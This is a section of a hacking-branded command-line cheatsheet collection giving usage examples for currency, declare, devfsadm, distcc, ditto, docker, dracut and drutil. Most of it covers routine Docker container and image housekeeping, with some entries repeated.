╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
23 - 🖥️currency
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the currency command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗██╗ ██╗██████╗ ██████╗ ███████╗███╗ ██╗ ██████╗██╗ ██╗
# ██╔════╝██║ ██║██╔══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝╚██╗ ██╔╝
# ██║ ██║ ██║██████╔╝██████╔╝█████╗ ██╔██╗ ██║██║ ╚████╔╝
# ██║ ██║ ██║██╔══██╗██╔══██╗██╔══╝ ██║╚██╗██║██║ ╚██╔╝
# ╚██████╗╚██████╔╝██║ ██║██║ ██║███████╗██║ ╚████║╚██████╗ ██║
# ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝
# Currency (Bash-Snippets)
# A realtime currency converter
# To convert between currencies (guided)
currency
# To convert between currencies (by supplying arguments)
# First argument is base currency second is the currency being exchanged to
currency USD EUR 14.38
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command currency in a clear format. This allows users to quickly access the needed information for currency without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for currency are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
24 - 🖥️declare
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the declare command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ███████╗ ██████╗██╗ █████╗ ██████╗ ███████╗
# ██╔══██╗██╔════╝██╔════╝██║ ██╔══██╗██╔══██╗██╔════╝
# ██║ ██║█████╗ ██║ ██║ ███████║██████╔╝█████╗
# ██║ ██║██╔══╝ ██║ ██║ ██╔══██║██╔══██╗██╔══╝
# ██████╔╝███████╗╚██████╗███████╗██║ ██║██║ ██║███████╗
# ╚═════╝ ╚══════╝ ╚═════╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝
builtin declare -f | command grep --color=never -E '^[a-zA-Z_]+\ \(\)'
# Display all shell functions set in the current shell environment -> Uses the shell builtin `declare` with the '-f' flag to output only functions to grep out only the function names. You can use it as an alias or function like so:
alias shfunctions="builtin declare -f | command grep --color=never -E '^[a-zA-Z_]+\ \(\)'" shfunctions () { builtin declare -f | command grep --color=never -E '^[a-zA-Z_]+\ \(\)'; }
# Show sample output
# Newlines ()
# __expand_tilde_by_ref ()
# __get_cword_at_cursor_by_ref ()
# __load_completion ()
# __ltrim_colon_completions ()
# __parse_options ()
# __reassemble_comp_words_by_ref ()
# _adb ()
# _allowed_groups ()
# _allowed_users ()
# _android ()
# _arg_index ()
# _available_interfaces ()
# _before ()
# _branch_completion ()
# _cd ()
# _cd_devices ()
# _cdsitepackages_complete ()
# _cdvirtualenv_complete ()
# _cmp_opts ()
# _command ()
# _command_completion ()
# _command_offset ()
# _complete_as_root ()
# _completion_loader ()
# _configured_interfaces ()
# _count_args ()
# _dir_completion ()
# _dvd_devices ()
# _emulator ()
# _expand ()
# _expects_arg ()
# _fastboot ()
# _filedir ()
# _filedir_xspec ()
# _find_repo ()
# _fstypes ()
# _gen_comps ()
# _get_comp_words_by_ref ()
# _get_cword ()
# _get_first_arg ()
# _get_pword ()
# _gids ()
# _handle_options ()
# _have ()
# _included_ssh_config_files ()
# _init_completion ()
# _init_cur_prev ()
# _installed_modules ()
# _ip_addresses ()
# _is_known_longopt ()
# _is_known_shortopt ()
# _is_long_option ()
# _is_option ()
# _is_repo_dir ()
# _kernel_versions ()
# _known_hosts ()
# _known_hosts_real ()
# _longopt ()
# _lsvirtualenv_usage ()
# _mac_addresses ()
# _manifest_completion ()
# _minimal ()
# _modules ()
# _ncpus ()
# _no_completion ()
# _parse_help ()
# _parse_usage ()
# _path_cmd_completion ()
# _pci_ids ()
# _pgids ()
# _pids ()
# _pnames ()
# _project_completion ()
# _quote_readline_by_ref ()
# _rbenv ()
# _realcommand ()
# _repo ()
# _repo_abandon ()
# _repo_branch ()
# _repo_branches ()
# _repo_checkout ()
# _repo_cherry_pick ()
# _repo_diff ()
# _repo_download ()
# _repo_forall ()
# _repo_grep ()
# _repo_help ()
# _repo_init ()
# _repo_list ()
# _repo_prune ()
# _repo_rebase ()
# _repo_selfupdate ()
# _repo_smartsync ()
# _repo_stage ()
# _repo_start ()
# _repo_status ()
# _repo_sync ()
# _repo_upload ()
# _repo_version ()
# _rl_enabled ()
# _root_command ()
# _service ()
# _services ()
# _shells ()
# _signals ()
# _split_longopt ()
# _strip_colors ()
# _sysvdirs ()
# _terms ()
# _tilde ()
# _uids ()
# _upvar ()
# _upvars ()
# _usb_ids ()
# _user_at_host ()
# _usergroup ()
# _userland ()
# _variables ()
# _virtualenvs ()
# _when_even ()
# _when_first ()
# _when_ix ()
# _xfunc ()
# _xinetd_services ()
# allvirtualenv ()
# asksure ()
# boucle ()
# boucle_fin ()
# cdproject ()
# cdsitepackages ()
# cdvirtualenv ()
# coline ()
# confirme ()
# cpvirtualenv ()
# dequote ()
# die ()
# find ()
# findg ()
# findh ()
# findr ()
# forn ()
# funtest ()
# git ()
# hgrep ()
# htail ()
# isVariableSet ()
# iset ()
# j ()
# line ()
# logload ()
# lssitepackages ()
# lsvirtualenv ()
# lwl ()
# mkflatdir ()
# mkproject ()
# mktmpenv ()
# mkvirtualenv ()
# oath ()
# pac ()
# pacUsage ()
# pg ()
# pkglog ()
# proc ()
# psearch ()
# psg ()
# quote ()
# quote_readline ()
# rbenv ()
# redshift ()
# reverseFiles ()
# rmvirtualenv ()
# setvirtualenvproject ()
# showvirtualenv ()
# sp ()
# spacel ()
# spacen ()
# spacep ()
# spaces ()
# spacet ()
# stderr ()
# toggleglobalsitepackages ()
# tychnelastlog ()
# virtualenvwrapper ()
# virtualenvwrapper_absolutepath ()
# virtualenvwrapper_cd ()
# virtualenvwrapper_derive_workon_home ()
# virtualenvwrapper_expandpath ()
# virtualenvwrapper_get_python_version ()
# virtualenvwrapper_get_site_packages_dir ()
# virtualenvwrapper_initialize ()
# virtualenvwrapper_mkproject_help ()
# virtualenvwrapper_mktemp ()
# virtualenvwrapper_mkvirtualenv_help ()
# virtualenvwrapper_run_hook ()
# virtualenvwrapper_setup_tab_completion ()
# virtualenvwrapper_show_workon_options ()
# virtualenvwrapper_tempfile ()
# virtualenvwrapper_verify_active_environment ()
# virtualenvwrapper_verify_project_home ()
# virtualenvwrapper_verify_resource ()
# virtualenvwrapper_verify_virtualenv ()
# virtualenvwrapper_verify_virtualenv_clone ()
# virtualenvwrapper_verify_workon_environment ()
# virtualenvwrapper_verify_workon_home ()
# virtualenvwrapper_workon_help ()
# what ()
# wipeenv ()
# workon ()
#==============================##==============================#
# CMD declare #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command declare in a clear format. This allows users to quickly access the needed information for declare without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for declare are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
25 - 🖥️devfsadm
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the devfsadm command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ███████╗██╗ ██╗███████╗███████╗ █████╗ ██████╗ ███╗ ███╗
# ██╔══██╗██╔════╝██║ ██║██╔════╝██╔════╝██╔══██╗██╔══██╗████╗ ████║
# ██║ ██║█████╗ ██║ ██║█████╗ ███████╗███████║██║ ██║██╔████╔██║
# ██║ ██║██╔══╝ ╚██╗ ██╔╝██╔══╝ ╚════██║██╔══██║██║ ██║██║╚██╔╝██║
# ██████╔╝███████╗ ╚████╔╝ ██║ ███████║██║ ██║██████╔╝██║ ╚═╝ ██║
# ╚═════╝ ╚══════╝ ╚═══╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝
# devfsadm
#
# Administration command for /dev. Maintains the /dev namespace (Solaris)
# Scan for new disks:
devfsadm -c disk
# Cleanup any dangling /dev links and scan for new device:
devfsadm -C -v
# Dry-run - output what would be changed but make no modifications:
devfsadm -C -v -n
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command devfsadm in a clear format. This allows users to quickly access the needed information for devfsadm without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for devfsadm are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
26 - 🖥️distcc
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the distcc command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██╗███████╗████████╗ ██████╗ ██████╗
# ██╔══██╗██║██╔════╝╚══██╔══╝██╔════╝██╔════╝
# ██║ ██║██║███████╗ ██║ ██║ ██║
# ██║ ██║██║╚════██║ ██║ ██║ ██║
# ██████╔╝██║███████║ ██║ ╚██████╗╚██████╗
# ╚═════╝ ╚═╝╚══════╝ ╚═╝ ╚═════╝ ╚═════╝
# INSTALL
# ==============================================================================
# Edit /etc/default/distcc and set theses vars
# STARTDISTCC="true"
# ALLOWEDNETS="127.0.0.1 192.168.1.0/24"# Your computer and local computers
# #LISTENER="127.0.0.1"# Comment it
# ZEROCONF="true"# Auto configuration
# REMEMBER 1:
# Start/Restart your distccd servers before using one of these commands.
# service distccd start
# REMEMBER 2:
# Do not forget to install on each machine DISTCC.
# No need to install libs ! Only main host need libs !
# USAGE
# ==============================================================================
# Run make with 4 thread (a cross network) in auto configuration.
# Note: for gcc, Replace CXX by CC and g++ by gcc
ZEROCONF='+zeroconf' make -j4 CXX='distcc g++'
# Run make with 4 thread (a cross network) in static configuration (2 ip)
# Note: for gcc, Replace CXX by CC and g++ by gcc
DISTCC_HOSTS='127.0.0.1 192.168.1.69' make -j4 CXX='distcc g++'
# Show hosts aviables
ZEROCONF='+zeroconf' distcc --show-hosts
#==============================##==============================#
# CMD distcc #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command distcc in a clear format. This allows users to quickly access the needed information for distcc without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for distcc are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
27 - 🖥️ditto
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ditto command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██╗████████╗████████╗ ██████╗
# ██╔══██╗██║╚══██╔══╝╚══██╔══╝██╔═══██╗
# ██║ ██║██║ ██║ ██║ ██║ ██║
# ██║ ██║██║ ██║ ██║ ██║ ██║
# ██████╔╝██║ ██║ ██║ ╚██████╔╝
# ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝
# ditto
# Copy files and folders (Mac OS X)
# Overwrite contents of destination folder with contents of source folder:
ditto path/to/source path/to/destination
# Print a line to the Terminal window for every file that’s being copied:
ditto -V path/to/source path/to/destination
# Copy a given file or folder, while retaining the original file permissions:
ditto -rsrc path/to/source path/to/destination
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command ditto in a clear format. This allows users to quickly access the needed information for ditto without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for ditto are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
28 - 🖥️docker
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the docker command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ██████╗██╗ ██╗███████╗██████╗
# ██╔══██╗██╔═══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
# ██║ ██║██║ ██║██║ █████╔╝ █████╗ ██████╔╝
# ██║ ██║██║ ██║██║ ██╔═██╗ ██╔══╝ ██╔══██╗
# ██████╔╝╚██████╔╝╚██████╗██║ ██╗███████╗██║ ██║
# ╚═════╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
# Start docker daemon
docker -d
# start a container with an interactive shell
docker run -ti <image_name> /bin/bash
# "shell" into a running container (docker-1.3+)
docker exec -ti <container_name> bash
# inspect a running container
docker inspect <container_name> (or <container_id>)
# Get the process ID for a container
# Source: https://github.com/jpetazzo/nsenter
docker inspect --format {{.State.Pid}} <container_name_or_ID>
# List the current mounted volumes for a container (and pretty print)
# Source: http://nathanleclaire.com/blog/2014/07/12/10-docker-tips-and-tricks-that-will-make-you-sing-a-whale-song-of-joy/
docker inspect --format='{{json .Volumes}}' <container_id> | python -mjson.tool
# Copy files/folders between a container and your host
docker cp foo.txt mycontainer:/foo.txt
# list currently running containers
docker ps
# list all containers
docker ps -a
# list all images
docker images
# Remove all intermediate docker images after build
docker image rm $(docker image list -f "dangling=true" -qa)
# Remove all intermediate docker images after build
docker images | grep <none> | awk '{ print $3; }' | xargs docker rmi
# Docker: Remove all exited docker container
docker ps -aq --filter status=exited | xargs docker rm
# Docker: Remove all exited docker container -> This will do a clean up of stopped containers and volumes used by them Show Sample Output
docker system prune --volumes -f
docker images | grep -v REPOSITORY | awk '{print $1}' | xargs -L1 docker pull
# Update all Docker Images
# Docker: Remove all exited docker container
docker ps -aq --filter status=exited | xargs docker rm
# Remove all intermediate docker images after build
docker images | grep <none> | awk '{ print $3; }' | xargs docker rmi
# Docker: Remove all exited docker container - This will do a clean up of stopped containers and volumes used by them Show Sample Output
docker system prune --volumes -f
# Remove all intermediate docker images after build
docker image rm $(docker image list -f "dangling=true" -qa)
# kill the first docker container in docker ps -> Useful when developing and you donut usually have other docker commands running Show Sample Output
docker kill $(docker ps -q)
# Remove all docker images to cleanup disk -> Remove unused images -a Remove all unused images, not just dangling ones -f Do not prompt for confirmation Show Sample Output
# WARNING! This will remove all dangling images.
# Are you sure you want to continue? [y/N]
# Total reclaimed space: 0B
docker rmi `docker images -a -q`
# Stop all running docker containers - passin list of docker container IDs to docker stop
docker stop $(docker ps -a -q)
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock assaflavie/runlike [ID_CONTAINER]
# Get a docker container's run command line
# A good way to build a new container when you don't remember how you did it the first time This is sample output
docker run --name=mariadb --hostname=43bdf5467ad --env="MYSQL_ROOT_PASSWORD=xxxxxxxx" --env="PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" --env="GOSU_VERSION=1.10" --env="MARIADB_MAJOR=10.1" --env="MARIADB_VERSION=1:10.1.36+maria-1~bionic" --volume="/var/lib/mysql" -p 3308:3306 --restart=always --detach=true mariadb:10.1 mysqld
docker ps -a --format '{{ .ID }}' | xargs -I {} docker inspect -f '{{ .Name }}{{ printf "\n" }}{{ range .Mounts }}{{ printf "\n\t" }}{{ .Type }} {{ if eq .Type "bind" }}{{ .Source }}{{ end }}{{ .Name }} => {{ .Destination }}{{ end }}{{ printf "\n" }}' {}
# List docker volumes by container
mkdir -p src && chmod 777 src && docker run -v $(pwd)/src:/var/www/html wordpress:cli core download && chmod 755 src
# Download WordPress using Docker - This is sample output - yours may be different.
Downloading WordPress 4.9.8 (en_US)...
md5 hash verified: c4e7d68b5c382fbbaf547f2b2d42c198
Success: WordPress downloaded.
# Remove all container from an specific network (docker)
docker ps -a -f network=$NETWORK --format='{{.ID}}' | xargs docker rm -f
# Remove all container from an specific network (docker)
docker ps -a -f network=$NETWORK --format='{{.ID}}' | xargs docker rm -f
# Explanation: docker ps -a -f network=$NETWORK --format='{{.ID}}' returns the id's of all container that are subscribed to the network and pass the output to xargs docker rm -f that stop and deletes each container
# Delete all untagged Docker images
docker images -q -f dangling=true | xargs --no-run-if-empty --delim='\n' docker rmi
# Explanation: It does not return a failing exit code if there are no images removed. It should always succeed unless there was an actual problem removing a Docker image.
# Limitations: This only works in the GNU version of xargs (thanks to the --no-run-if-empty), BSD does not have an equivalent that I know about.
## Related one-liners
# Delete all untagged Docker images
docker rmi $(docker images -f "dangling=true" -q)
# Explanation: docker images outputs all images currently available. By specifying -f "dangling=true" we restrict the list to "dangling" images (i.e. untagged). By specifying the -q option we use quiet mode, which limits the output to the images hash, which is the directly fed into docker rmi, which removes the images with the corresponding hashes.
# Delete all untagged Docker images
docker rmi $(docker images -f "dangling=true" -q)
# Explanation: docker images outputs all images currently available. By specifying -f "dangling=true" we restrict the list to "dangling" images (i.e. untagged). By specifying the -q option we use quiet mode, which limits the output to the images hash, which is the directly fed into docker rmi, which removes the images with the corresponding hashes.
## Alternative one-liners:
# Delete all untagged Docker images
docker images -q -f dangling=true | xargs --no-run-if-empty --delim='\n' docker rmi
# Explanation: It does not return a failing exit code if there are no images removed. It should always succeed unless there was an actual problem removing a Docker image.
# Limitations: This only works in the GNU version of xargs (thanks to the --no-run-if-empty), BSD does not have an equivalent that I know about.
# Remove docker images older than one month
docker image ls --format '{{ json . }}' | jq -r -s '.[] | select(now - (.CreatedAt | strptime("%Y-%m-%d %H:%M:%S %Z") | mktime) > 3600 * 24 * 30) | .ID' | xargs -r docker image rm
# List docker log sizes and remind how to empty them
docker ps -qa | xargs docker inspect --format='{{.LogPath}}' | xargs sudo du -hl; sleep 1; printf "\r\n echo '' > \$(docker inspect --format={{.LogPath}} container_name_or_id) \r\n*****COPY****ABOVE****TO******CLEAR*****LOG*****CHANGE***CONTAINER_ID******* \r\n \n"
#==============================##==============================#
# CMD docker #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command docker in a clear format. This allows users to quickly access the needed information for docker without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for docker are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
29 - 🖥️dracut
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the dracut command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ █████╗ ██████╗██╗ ██╗████████╗
# ██╔══██╗██╔══██╗██╔══██╗██╔════╝██║ ██║╚══██╔══╝
# ██║ ██║██████╔╝███████║██║ ██║ ██║ ██║
# ██║ ██║██╔══██╗██╔══██║██║ ██║ ██║ ██║
# ██████╔╝██║ ██║██║ ██║╚██████╗╚██████╔╝ ██║
# ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝
# add driver to initrd/initramfs (nvme in this case)
dracut --add-drivers nvme -f /boot/initrd-$(uname -r).img $(uname -r)
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command dracut in a clear format. This allows users to quickly access the needed information for dracut without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for dracut are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
30 - 🖥️drutil
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the drutil command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ██╗ ██╗████████╗██╗██╗
# ██╔══██╗██╔══██╗██║ ██║╚══██╔══╝██║██║
# ██║ ██║██████╔╝██║ ██║ ██║ ██║██║
# ██║ ██║██╔══██╗██║ ██║ ██║ ██║██║
# ██████╔╝██║ ██║╚██████╔╝ ██║ ██║███████╗
# ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝
# drutil
# Interact with DVD burners (Mac OS X)
# Eject a disk from the drive:
drutil eject
# Burn a folder as an ISO9660 filesystem onto a DVD. Don't verify and eject when complete:
drutil burn -noverify -eject -iso9660
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command drutil in a clear format. This allows users to quickly access the needed information for drutil without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for drutil are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
